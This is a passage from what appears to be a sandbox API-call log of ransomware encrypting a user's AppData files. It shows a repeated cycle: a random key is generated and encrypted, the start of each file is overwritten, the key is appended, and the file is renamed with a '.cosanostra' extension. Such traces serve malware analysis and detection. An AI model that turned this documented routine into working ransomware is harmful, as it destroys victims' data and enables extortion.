out: pbData=0x27c9b0*, pdwDataLen=0x251f108*=0x30) returned 1 [0100.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hCWdQlu.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hcwdqlu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.583] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hCWdQlu.jpg") returned 61 [0100.583] StrStrW (lpFirst="hCWdQlu.jpg", lpSrch=".txt") returned 0x0 [0100.583] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.584] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0cc*=0x2800, lpOverlapped=0x0) returned 1 [0100.584] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.584] WriteFile (in: hFile=0x15c, lpBuffer=0x251f10c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0cc, lpOverlapped=0x0 | out: lpBuffer=0x251f10c*, lpNumberOfBytesWritten=0x251f0cc*=0x4, lpOverlapped=0x0) returned 1 [0100.584] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0cc*=0x30, lpOverlapped=0x0) returned 1 [0100.584] CloseHandle (hObject=0x15c) returned 1 [0100.584] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hCWdQlu.jpg.cosanostra") returned 72 [0100.584] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hCWdQlu.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hcwdqlu.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\hCWdQlu.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hcwdqlu.jpg.cosanostra")) returned 1 [0100.585] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f108 | out: pbBuffer=0x251f108) returned 1 [0100.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f100*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f100*=0x30) returned 1 [0100.586] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\g51fiaLZykKGN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g51fialzykkgn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.586] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\g51fiaLZykKGN.m4a") returned 67 [0100.586] StrStrW (lpFirst="g51fiaLZykKGN.m4a", lpSrch=".txt") returned 0x0 [0100.587] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.587] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0c4*=0x2800, lpOverlapped=0x0) returned 1 [0100.588] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.588] WriteFile (in: hFile=0x15c, lpBuffer=0x251f104*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x251f104*, lpNumberOfBytesWritten=0x251f0c4*=0x4, lpOverlapped=0x0) returned 1 [0100.588] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0c4*=0x30, lpOverlapped=0x0) returned 1 [0100.588] CloseHandle (hObject=0x15c) returned 1 [0100.588] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\g51fiaLZykKGN.m4a.cosanostra") returned 78 [0100.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\g51fiaLZykKGN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g51fialzykkgn.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\g51fiaLZykKGN.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g51fialzykkgn.m4a.cosanostra")) returned 1 [0100.589] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f108 | out: pbBuffer=0x251f108) returned 1 [0100.589] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f100*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f100*=0x30) returned 1 [0100.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\drSx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\drsx.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.590] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\drSx.pps") returned 58 [0100.590] StrStrW (lpFirst="drSx.pps", lpSrch=".txt") returned 0x0 [0100.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.591] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0c4*=0x2800, lpOverlapped=0x0) returned 1 [0100.591] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.591] WriteFile (in: hFile=0x15c, lpBuffer=0x251f104*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x251f104*, lpNumberOfBytesWritten=0x251f0c4*=0x4, lpOverlapped=0x0) returned 1 [0100.591] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0c4*=0x30, lpOverlapped=0x0) returned 1 [0100.591] CloseHandle (hObject=0x15c) returned 1 [0100.591] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\drSx.pps.cosanostra") returned 69 [0100.591] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\drSx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\drsx.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\drSx.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\drsx.pps.cosanostra")) returned 1 [0100.592] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f100 | out: pbBuffer=0x251f100) returned 1 [0100.592] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f0f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f0f8*=0x30) returned 1 [0100.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c9UJHEUK-RJp2dn.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c9ujheuk-rjp2dn.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.593] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c9UJHEUK-RJp2dn.ppt") returned 69 [0100.593] StrStrW (lpFirst="c9UJHEUK-RJp2dn.ppt", lpSrch=".txt") returned 0x0 [0100.594] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.594] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0bc*=0x2800, lpOverlapped=0x0) returned 1 [0100.594] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.594] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x251f0fc*, lpNumberOfBytesWritten=0x251f0bc*=0x4, lpOverlapped=0x0) returned 1 [0100.594] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0bc*=0x30, lpOverlapped=0x0) returned 1 [0100.594] CloseHandle (hObject=0x15c) returned 1 [0100.595] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c9UJHEUK-RJp2dn.ppt.cosanostra") returned 80 [0100.595] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c9UJHEUK-RJp2dn.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c9ujheuk-rjp2dn.ppt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\c9UJHEUK-RJp2dn.ppt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c9ujheuk-rjp2dn.ppt.cosanostra")) returned 1 [0100.598] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f100 | out: pbBuffer=0x251f100) returned 1 [0100.598] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f0f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f0f8*=0x30) returned 1 [0100.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BW8QR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bw8qr.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.599] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BW8QR.mkv") returned 59 [0100.599] StrStrW (lpFirst="BW8QR.mkv", lpSrch=".txt") returned 0x0 [0100.600] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.600] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0bc*=0x2800, lpOverlapped=0x0) returned 1 [0100.600] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.600] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x251f0fc*, lpNumberOfBytesWritten=0x251f0bc*=0x4, lpOverlapped=0x0) returned 1 [0100.600] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0bc*=0x30, lpOverlapped=0x0) returned 1 [0100.600] CloseHandle (hObject=0x15c) returned 1 [0100.600] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BW8QR.mkv.cosanostra") returned 70 [0100.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BW8QR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bw8qr.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BW8QR.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bw8qr.mkv.cosanostra")) returned 1 [0100.601] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0f8 | out: pbBuffer=0x251f0f8) returned 1 [0100.601] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f0f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f0f0*=0x30) returned 1 [0100.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bS1tGMKn AM7BDBpY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bs1tgmkn am7bdbpy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.602] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bS1tGMKn AM7BDBpY.flv") returned 71 [0100.602] StrStrW (lpFirst="bS1tGMKn AM7BDBpY.flv", lpSrch=".txt") returned 0x0 [0100.603] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe054, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.622] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1fac, lpNumberOfBytesWritten=0x251f0b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0b4*=0x1fac, lpOverlapped=0x0) returned 1 [0100.712] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.712] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0b4, lpOverlapped=0x0 | out: lpBuffer=0x251f0f4*, lpNumberOfBytesWritten=0x251f0b4*=0x4, lpOverlapped=0x0) returned 1 [0100.712] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f0b4*=0x30, lpOverlapped=0x0) returned 1 [0100.712] CloseHandle (hObject=0x15c) returned 1 [0100.712] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bS1tGMKn AM7BDBpY.flv.cosanostra") returned 82 [0100.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bS1tGMKn AM7BDBpY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bs1tgmkn am7bdbpy.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bS1tGMKn AM7BDBpY.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bs1tgmkn am7bdbpy.flv.cosanostra")) returned 1 [0100.947] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0e8 | out: pbBuffer=0x251f0e8) returned 1 [0100.947] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f0e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f0e0*=0x30) returned 1 [0100.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.408] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned 88 [0101.408] StrStrW (lpFirst="glob.js", lpSrch=".txt") returned 0x0 [0101.409] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.409] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0a4*=0x0, lpOverlapped=0x0) returned 1 [0101.409] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.409] WriteFile (in: hFile=0x160, lpBuffer=0x251f0e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x251f0e4*, lpNumberOfBytesWritten=0x251f0a4*=0x4, lpOverlapped=0x0) returned 1 [0101.410] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f0a4*=0x30, lpOverlapped=0x0) returned 1 [0101.410] CloseHandle (hObject=0x160) returned 1 [0101.410] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.cosanostra") returned 99 [0101.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js.cosanostra")) returned 1 [0101.411] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0e8 | out: pbBuffer=0x251f0e8) returned 1 [0101.411] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f0e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f0e0*=0x30) returned 1 [0101.411] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0101.412] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned 81 [0101.412] StrStrW (lpFirst="Data1.cab", lpSrch=".txt") returned 0x0 [0101.414] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.414] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f0a4*=0x2800, lpOverlapped=0x0) returned 1 [0101.414] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.414] WriteFile (in: hFile=0x160, lpBuffer=0x251f0e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x251f0e4*, lpNumberOfBytesWritten=0x251f0a4*=0x4, lpOverlapped=0x0) returned 1 [0101.708] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f0a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f0a4*=0x30, lpOverlapped=0x0) returned 1 [0101.709] CloseHandle (hObject=0x160) returned 1 [0101.709] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.cosanostra") returned 92 [0101.709] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.cosanostra")) returned 1 [0101.735] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0e0 | out: pbBuffer=0x251f0e0) returned 1 [0101.735] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0d8*=0x30) returned 1 [0101.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0101.786] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned 69 [0101.786] StrStrW (lpFirst="au.cab", lpSrch=".txt") returned 0x0 [0101.885] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.885] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f09c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f09c*=0x2800, lpOverlapped=0x0) returned 1 [0101.885] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.885] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f09c, lpOverlapped=0x0 | out: lpBuffer=0x251f0dc*, lpNumberOfBytesWritten=0x251f09c*=0x4, lpOverlapped=0x0) returned 1 [0101.960] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f09c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f09c*=0x30, lpOverlapped=0x0) returned 1 [0101.960] CloseHandle (hObject=0x15c) returned 1 [0101.960] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.cosanostra") returned 80 [0101.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.cosanostra")) returned 1 [0101.961] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0d8 | out: pbBuffer=0x251f0d8) returned 1 [0101.961] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0d0*=0x20, dwBufLen=0x30 | out: 